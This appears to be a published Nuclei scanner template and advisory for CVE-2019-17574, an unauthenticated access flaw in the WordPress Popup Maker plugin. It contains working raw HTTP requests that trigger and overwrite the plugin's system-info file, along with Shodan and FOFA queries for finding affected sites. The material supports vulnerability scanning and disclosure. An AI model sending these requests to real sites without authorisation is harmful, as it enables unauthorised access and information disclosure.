CVE-2019-17574: Popup-Maker < 1.8.12 - Broken Authentication

2025-08-01 Popup-Maker PoC Public

Description

An issue was discovered in the Popup Maker plugin before 1.8.13 for WordPress. An unauthenticated attacker can partially control the arguments of the do_action function to invoke certain popmake_ or pum_ methods, as demonstrated by controlling content and delivery of popmake-system-info.txt (aka the "support debug text file").

PoC

id: CVE-2019-17574

info:
  name: Popup-Maker < 1.8.12 - Broken Authentication
  author: DhiyaneshDK
  severity: critical
  description: |
    An issue was discovered in the Popup Maker plugin before 1.8.13 for WordPress. An unauthenticated attacker can partially control the arguments of the do_action function to invoke certain popmake_ or pum_ methods, as demonstrated by controlling content and delivery of popmake-system-info.txt (aka the "support debug text file").
  impact: |
    Unauthenticated attackers can gain administrative access to the WordPress site.
  remediation: |
    Update Popup-Maker plugin to version 1.8.12 or later.
  reference:
    - https://wpscan.com/vulnerability/9907
    - https://web.archive.org/web/20191128065954/https://blog.redyops.com/wordpress-plugin-popup-maker/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17574
    - https://github.com/PopupMaker/Popup-Maker/blob/master/CHANGELOG.md
    - https://wpvulndb.com/vulnerabilities/9907
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2019-17574
    cwe-id: CWE-639
    epss-score: 0.09432
    epss-percentile: 0.95155
    cpe: cpe:2.3:a:code-atlantic:popup_maker:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: code-atlantic
    product: popup_maker
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/popup-maker/
    fofa-query: body=/wp-content/plugins/popup-maker/
    publicwww-query: "/wp-content/plugins/popup-maker/"
  tags: cve,cve2019,wpscan,wp,wordpress,wp-plugin,disclosure,popup-maker,auth-bypass,code-atlantic,vkev,vuln

http:
  - raw:
      - |
        GET /?pum_action=tools_page_tab_system_info HTTP/1.1
        Host: {{Hostname}}
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        popmake_action=popup_sysinfo&popmake-sysinfo=CVE-2019-17574

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - 'Popup Maker Configuration'
          - 'Webserver Configuration'
        condition: and

      - type: word
        part: body_2
        words:
          - 'CVE-2019-17574'
# digest: 490a00463044022014f57837dfdce94aabe585851a400030cde2431fdd74505beea93c4b48cf87af0220160aaf3b75a7cd079ac76d3294ca249066cce913ad9f1de45406c7412098eeee:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-17574.yaml

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